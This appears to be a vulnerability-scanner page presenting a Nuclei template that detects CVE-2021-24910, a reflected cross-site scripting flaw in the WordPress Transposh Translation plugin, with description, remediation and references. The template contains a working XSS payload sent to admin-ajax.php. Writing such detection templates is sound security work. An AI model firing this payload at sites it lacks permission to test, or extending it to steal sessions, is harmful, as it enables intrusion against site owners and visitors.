WordPress Transposh Translation <1.0.8 - Cross-Site Scripting

ID: CVE-2021-24910

Severity: medium

Author: Screamy

Tags: cve2021,cve,wordpress,wp-plugin,xss,wp,wpscan,transposh

Description

WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.

YAML Source

id: CVE-2021-24910

info:
  name: WordPress Transposh Translation <1.0.8 - Cross-Site Scripting
  author: Screamy
  severity: medium
  description: WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability.
  reference:
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt
    - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24910
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24910
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.35299
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: transposh
    product: transposh_wordpress_translation
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,wp,wpscan,transposh

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '{"result":'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220367a3cdbbbbcbe4636f679bc590d0c805122288e61b0330c6953b237b36b1bf4022100c846bfe87b2fe6c100f748590bbc063f8d8495b26d1ca29ac8a8b9346366e0c6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24910.yaml"

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